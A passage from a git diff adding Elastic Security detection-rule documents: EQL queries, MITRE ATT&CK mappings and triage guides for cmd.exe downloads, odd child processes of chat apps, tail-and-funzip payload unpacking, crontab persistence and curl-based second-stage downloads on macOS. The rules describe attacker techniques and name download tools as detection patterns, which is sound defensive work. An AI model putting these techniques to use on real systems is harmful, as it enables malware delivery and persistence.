`curl.exe`, `wget.exe`). + - If file telemetry is available, review file creation/modification shortly after `@timestamp` and correlate any new binaries or scripts with hashes and execution events. + +- Scope the activity (blast radius): + - Search for the same `process.command_line` (or distinctive substrings), script name, or extracted URL across endpoints. + - Search for other `cmd.exe` instances connecting to the same `destination.ip` or the same destination port/protocol. + - If the parent is Office, scope for the same parent-child relationship (`process.parent.name` -> `cmd.exe`) across users and hosts. + + +*False positive analysis* + + +- Software deployment, packaging, or endpoint management workflows that use `cmd.exe /c` to run batch scripts and contact vendor services. +- Signed installer or updater activity where `cmd.exe` is used as a helper process with stable command lines. +- Documented Office macros/add-ins/templates that legitimately spawn `cmd.exe` with consistent command lines and destinations. + +A benign determination is more likely when the combination of `process.parent.name`, stable `process.command_line`, and consistent `destination.ip`/`destination.port` repeats across an expected set of hosts and users and aligns to a documented workflow owner. + + +*Response and remediation* + + +- If the activity is suspicious or cannot be attributed to an approved workflow: + - Contain the affected endpoint (`host.id`) using available endpoint or network controls. + - Preserve evidence (at minimum): + - `@timestamp`, `host.*`, `user.*` + - `process.entity_id`, `process.command_line`, `process.args`, `process.parent.*` + - `destination.ip`, `destination.port`, `network.*` + - Any related child processes and file artifacts (paths and hashes) identified during triage + - Scope for related activity by searching for additional occurrences of the same destination and command-line patterns. + - If Office is the launch vector, identify and quarantine the initiating document or email and assess whether similar content was delivered to other users. + - If a script is involved, collect and review the script contents and investigate how it was introduced (downloads, email attachments, shared drives, logon scripts, scheduled tasks). + - If account compromise is suspected, follow established identity response procedures (credential reset, session review, and access auditing). + +- If the activity is confirmed benign: + - Document the expected parent process, command-line pattern, and destinations. + - Consider adding a narrowly scoped exception using stable identifiers and constrained conditions (for example, specific `process.command_line` patterns and known destinations) to reduce recurring noise. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [process where host.os.type == "windows" and event.type == "start" and + process.name : "cmd.exe" and process.args : ("/c", "/k") and + ( + process.args : ("*.bat", "*.cmd") or + process.command_line : ("*http://*", "*https://*", "*ftp://*") or + process.parent.name : ("excel.exe", "msaccess.exe", "mspub.exe", "powerpnt.exe", "winword.exe", "outlook.exe") + ) + ] + [network where host.os.type == "windows" and process.name : "cmd.exe" and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", + "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", + "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-communication-app-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-communication-app-child-process.asciidoc new file mode 100644 index 0000000000..cbd3dcbd3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-communication-app-child-process.asciidoc @@ -0,0 +1,329 @@ +[[prebuilt-rule-8-19-34-suspicious-communication-app-child-process]] +=== Suspicious Communication App Child Process + +Identifies suspicious child processes of communications apps, which can indicate a potential masquerading as the communication app or the exploitation of a vulnerability on the application causing it to execute code. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 15 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Communication App Child Process* + + +Communication apps like Slack, WebEx, and Teams are integral to modern workflows, facilitating collaboration. However, adversaries can exploit these apps by spawning unauthorized child processes, potentially masquerading as legitimate ones or exploiting vulnerabilities to execute malicious code. The detection rule identifies such anomalies by monitoring child processes of these apps, ensuring they are trusted and signed by recognized entities. This helps in identifying potential threats that deviate from expected behavior, thus safeguarding against unauthorized access and execution. + + +*Possible investigation steps* + + +- Review the process details, including the parent process name and executable path, to confirm if the child process is expected or unusual for the communication app in question. +- Check the code signature of the suspicious child process to determine if it is trusted and signed by a recognized entity, as specified in the query. +- Investigate the command line arguments of the child process to identify any potentially malicious or unexpected commands being executed. +- Correlate the event with other logs or alerts to identify any related suspicious activities or patterns, such as repeated unauthorized child process executions. +- Assess the user account associated with the process to determine if it has been compromised or is exhibiting unusual behavior. +- Examine the network activity of the affected system to identify any suspicious outbound connections that may indicate data exfiltration or communication with a command and control server. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger the rule if they spawn child processes from communication apps. Users can create exceptions for known update processes by verifying their code signatures and paths. +- Custom scripts or automation tools that interact with communication apps might be flagged. Users should ensure these scripts are signed and located in trusted directories, then add them to the exception list. +- Certain administrative tasks, such as using command-line tools like cmd.exe or powershell.exe, may be mistakenly identified as suspicious. Users can whitelist specific command lines or arguments that are regularly used in their environment. +- Some third-party integrations with communication apps may generate child processes that are not inherently malicious. Users should verify the legitimacy of these integrations and add them to the trusted list if they are deemed safe. +- Regularly review and update the list of trusted code signatures and executable paths to ensure that legitimate processes are not inadvertently flagged as suspicious. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or execution of malicious code. +- Terminate any suspicious child processes identified by the detection rule that are not signed by recognized entities or are executing from unexpected locations. +- Conduct a thorough review of the affected communication app's logs and configurations to identify any unauthorized changes or access patterns. +- Restore the affected system from a known good backup if malicious activity is confirmed, ensuring that the backup is free from compromise. +- Update the communication app and all related software to the latest versions to patch any known vulnerabilities that may have been exploited. +- Implement application whitelisting to ensure only trusted and signed applications can execute, reducing the risk of similar threats. +- Escalate the incident to the security operations center (SOC) or relevant security team for further investigation and to assess the potential impact on other systems. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : ( + "slack.exe", "CiscoCollabHost.exe", "WebexHost.exe", "Teams.exe", + "Discord.exe", "Whatsapp.exe", "Zoom.exe", "thunderbird.exe" + ) and + not process.executable : ( + "?:\\Program Files\\*.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Windows\\System32\\WerFault.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe" + ) and + + /* Common Signed Browser Processes */ + not ( + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\Google\\Chrome\\Application\\chrome.exe", + "?:\\Users\\*\\AppData\\Local\\Island\\Island\\Application\\Island.exe", + "?:\\Users\\*\\AppData\\Local\\Mozilla Firefox\\firefox.exe", + "?:\\Users\\*\\AppData\\Local\\Programs\\Opera\\opera.exe" + ) and process.code_signature.trusted == true + ) and + ( + /* Slack */ + (process.parent.name : "slack.exe" and not + ( + ( + process.executable : ( + "?:\\Users\\*\\AppData\\Roaming\\Zoom\\bin*\\Zoom.exe", + "?:\\Windows\\System32\\rundll32.exe", + "?:\\Windows\\System32\\notepad.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Slack Technologies, Inc.", + "Slack Technologies, LLC" + ) and process.code_signature.trusted == true + ) or + ( + (process.name : "powershell.exe" and process.command_line : "powershell.exe -c Invoke-WebRequest -Uri https://slackb.com/*") or + (process.name : "cmd.exe" and process.command_line : "C:\\WINDOWS\\system32\\cmd.exe /d /s /c \"%windir%\\System32\\rundll32.exe User32.dll,SetFocus 0\"") + ) + ) + ) or + + /* WebEx */ + (process.parent.name : ("CiscoCollabHost.exe", "WebexHost.exe") and not + ( + process.code_signature.subject_name : ( + "Cisco Systems, Inc.", + "Cisco WebEx LLC", + "Cisco Systems Inc." + ) and process.code_signature.trusted == true + ) + ) or + + /* Teams */ + (process.parent.name : "Teams.exe" and not + ( + ( + process.executable : ( + "?:\\Windows\\BrowserCore\\BrowserCore.exe", + "?:\\Users\\*\\AppData\\Local\\Microsoft\\Teams\\current\\Teams.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Microsoft Corporation", + "Microsoft 3rd Party Application Component" + ) and process.code_signature.trusted == true + ) or + ( + (process.name : "taskkill.exe" and process.args : "Teams.exe") + ) + ) + ) or + + /* Discord */ + (process.parent.name : "Discord.exe" and not + ( + ( + process.executable : ( + "?:\\Windows\\System32\\reg.exe", + "?:\\Windows\\SysWOW64\\reg.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Discord Inc." + ) and process.code_signature.trusted == true + ) or + ( + process.name : "cmd.exe" and + ( + process.command_line : ( + "C:\\WINDOWS\\system32\\cmd.exe /d /s /c \"chcp\"", + "C:\\WINDOWS\\system32\\cmd.exe /q /d /s /c \"C:\\Program^ Files\\NVIDIA^ Corporation\\NVSMI\\nvidia-smi.exe\"" + ) or + process.args : ( + "C:\\WINDOWS/System32/nvidia-smi.exe", + "C:\\WINDOWS\\System32\\nvidia-smi.exe", + "C:\\Windows\\System32\\DriverStore\\FileRepository/*/nvidia-smi.exe*" + ) + ) + ) + ) + ) or + + /* WhatsApp */ + (process.parent.name : "Whatsapp.exe" and not + ( + ( + process.executable : ( + "?:\\Windows\\System32\\reg.exe", + "?:\\Windows\\SysWOW64\\reg.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "WhatsApp LLC", + "WhatsApp, Inc", + "24803D75-212C-471A-BC57-9EF86AB91435" + ) and process.code_signature.trusted == true + ) or + ( + (process.name : "cmd.exe" and process.command_line : "C:\\Windows\\system32\\cmd.exe /d /s /c \"C:\\Windows\\system32\\wbem\\wmic.exe*") + ) + ) + ) or + + /* Zoom */ + (process.parent.name : "Zoom.exe" and not + ( + ( + process.executable : ( + "?:\\Users\\*\\AppData\\Local\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Zoom Video Communications, Inc.", + "Zoom Communications, Inc." + ) and process.code_signature.trusted == true + ) + ) + ) or + + /* Thunderbird */ + (process.parent.name : "thunderbird.exe" and not + ( + ( + process.executable : ( + "?:\\Windows\\splwow64.exe", + "?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE" + ) and process.code_signature.trusted == true + ) or + ( + process.code_signature.subject_name : ( + "Mozilla Corporation" + ) and process.code_signature.trusted == true + ) + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Invalid Code Signature +** ID: T1036.001 +** Reference URL: https://attack.mitre.org/techniques/T1036/001/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Compromise Host Software Binary +** ID: T1554 +** Reference URL: https://attack.mitre.org/techniques/T1554/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc new file mode 100644 index 0000000000..13404f149b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-suspicious-content-extracted-or-decompressed-via-funzip]] +=== Suspicious Content Extracted or Decompressed via Funzip + +Identifies when suspicious content is extracted from a file and subsequently decompressed using the funzip utility. Malware may execute the tail utility using the "-c" option to read a sequence of bytes from the end of a file. The output from tail can be piped to funzip in order to decompress malicious code before it is executed. This behavior is consistent with malware families such as Bundlore. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/software/S0482/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Content Extracted or Decompressed via Funzip* + + +Funzip is a utility used to decompress files directly from a stream, often employed in legitimate data processing tasks. However, adversaries can exploit this by combining it with the 'tail' command to extract and execute malicious payloads stealthily. The detection rule identifies this misuse by monitoring specific command sequences and excluding benign processes, thus flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the 'tail' and 'funzip' command sequence, focusing on the specific arguments used, such as "-c", to understand the context of the command execution. +- Examine the parent process information to determine if the process was initiated by any known benign executables or scripts, specifically checking against the exclusion list like "/usr/bin/dracut" or "/sbin/dracut". +- Investigate the command line history and execution context of the parent process, especially if it involves "sh" or "sudo", to identify any suspicious patterns or unauthorized script executions. +- Check the file path and content being accessed by the 'tail' command to ensure it is not targeting sensitive or unexpected files, excluding known benign paths like "/var/log/messages". +- Correlate the event with other security alerts or logs from the same host to identify any related suspicious activities or patterns that might indicate a broader compromise. +- Assess the risk and impact by determining if the decompressed content was executed or if it led to any subsequent suspicious processes or network connections. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger this rule if they involve decompressing logs or data files using funzip. To manage this, identify and exclude specific maintenance scripts or processes that are known to use funzip in a non-threatening manner. +- Automated backup or data processing operations might use funzip in combination with tail for legitimate purposes. Review these operations and add exceptions for known benign processes or scripts that match this pattern. +- Security tools or monitoring solutions like Nessus may inadvertently trigger this rule if they use similar command sequences for scanning or data collection. Exclude these tools by adding exceptions for their specific command lines or parent processes. +- Custom scripts developed in-house for data analysis or processing might use funzip and tail together. Document these scripts and exclude them from the rule to prevent false positives, ensuring they are reviewed and approved by security teams. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the potential malware. +- Terminate any suspicious processes identified by the detection rule, specifically those involving the 'tail' and 'funzip' command sequence. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads. +- Review and analyze system logs and command history to identify any unauthorized access or additional malicious activities that may have occurred. +- Restore any compromised files or systems from known good backups to ensure integrity and availability of data. +- Implement application whitelisting to prevent unauthorized execution of utilities like 'funzip' and 'tail' by non-administrative users. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +((process.args == "tail" and process.args == "-c" and process.args == "funzip")) and +not process.args : "/var/log/messages" and +not ?process.parent.executable : ("/usr/bin/dracut", "/sbin/dracut", "/usr/bin/xargs") and +not (process.parent.name in ("sh", "sudo") and ?process.parent.command_line : "*nessus_su*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compression +** ID: T1027.015 +** Reference URL: https://attack.mitre.org/techniques/T1027/015/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-crontab-creation-or-modification.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-crontab-creation-or-modification.asciidoc new file mode 100644 index 0000000000..3dd8f59533 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-crontab-creation-or-modification.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-34-suspicious-crontab-creation-or-modification]] +=== Suspicious CronTab Creation or Modification + +Identifies attempts to create or modify a crontab via a process that is not crontab (i.e python, osascript, etc.). This activity should not be highly prevalent and could indicate the use of cron as a persistence mechanism by a threat actor. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf +* https://theevilbit.github.io/beyond/beyond_0004/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 113 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious CronTab Creation or Modification* + + +Cron is a time-based job scheduler in Unix-like operating systems, including macOS, used to automate repetitive tasks. Adversaries may exploit cron to maintain persistence by scheduling malicious scripts or commands. The detection rule identifies unusual crontab modifications by non-standard processes, flagging potential misuse by threat actors seeking to establish persistence. + + +*Possible investigation steps* + + +- Review the process name and executable path that triggered the alert to determine if it is a known legitimate application or a potentially malicious one. +- Examine the file path "/private/var/at/tabs/*" to identify any recent changes or additions to crontab entries that could indicate unauthorized scheduling of tasks. +- Investigate the user account associated with the process to determine if it has a history of legitimate crontab modifications or if it might be compromised. +- Check for any related alerts or logs around the same timeframe that might indicate additional suspicious activity or corroborate the use of cron for persistence. +- Analyze the command or script scheduled in the crontab entry to assess its purpose and potential impact on the system, looking for signs of malicious intent. + + +*False positive analysis* + + +- System maintenance scripts or legitimate administrative tools may modify crontabs using non-standard processes. Review the process name and executable path to determine if the activity is part of routine maintenance. +- Development or testing environments might use scripts or automation tools that modify crontabs for legitimate purposes. Identify and document these processes to create exceptions in the detection rule. +- Some third-party applications may use cron jobs for updates or scheduled tasks. Verify the legitimacy of these applications and consider excluding their processes if they are known and trusted. +- User-initiated scripts that automate personal tasks could trigger this rule. Educate users on the implications of using cron for personal automation and establish a process for approving such scripts. +- Regularly review and update the list of excluded processes to ensure that only verified and non-threatening activities are exempt from detection. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further execution of malicious tasks. +- Terminate any suspicious processes identified as modifying the crontab, especially those not typically associated with crontab modifications, such as python or osascript. +- Review and remove any unauthorized or suspicious entries in the crontab file located at /private/var/at/tabs/* to eliminate persistence mechanisms established by the threat actor. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or malicious scripts. +- Restore the system from a known good backup if the integrity of the system is in question and ensure all security patches and updates are applied. +- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for crontab modifications and related processes to detect and respond to similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "macos" and event.type != "deletion" and process.name != null and + file.path like "/private/var/at/tabs/*" and not process.executable == "/usr/bin/crontab" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Cron +** ID: T1053.003 +** Reference URL: https://attack.mitre.org/techniques/T1053/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-from-macos-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-from-macos-application.asciidoc new file mode 100644 index 0000000000..68ea5b1446 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-curl-from-macos-application.asciidoc @@ -0,0 +1,149 @@ +[[prebuilt-rule-8-19-34-suspicious-curl-from-macos-application]] +=== Suspicious Curl from macOS Application + +Detects the use of curl by a macOS application binary to connect to a raw IP URI and download a second stage payload. Threat actors often utilize a benign looking or legitimate application as a first stage dropper. Curl is commonly used as it doesn't enforce Gatekeeper checks. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.org/blog/blog_0x71.html#-vpn-trojan-covid +* https://attack.mitre.org/techniques/T1105/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Download Tool Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Curl from macOS Application* + + +Trojanized macOS applications often use curl to download second-stage payloads from attacker-controlled infrastructure. By leveraging curl instead of direct downloads, these malicious applications can bypass Gatekeeper quarantine checks and evade built-in macOS security mechanisms. This detection rule identifies when applications from the /Applications directory spawn curl to connect to raw IP addresses, which is highly indicative of malicious payload retrieval activity. + + +*Possible investigation steps* + + +- Review the process.Ext.effective_parent.executable field to identify which application spawned the curl process and assess whether this application is expected to make network downloads. +- Examine the process.args fields to extract the destination IP address and URL path being accessed, and research these indicators in threat intelligence databases. +- Analyze the process.parent.command_line to understand the full context of how curl was invoked, including any output file paths that may indicate where payloads were written. +- Check the code signature of the parent application using the process.code_signature fields to determine if it is validly signed and if the signature matches known good versions. +- Investigate the origin of the suspicious application by reviewing installation logs, download history, and any recent DMG or PKG files that may have delivered the 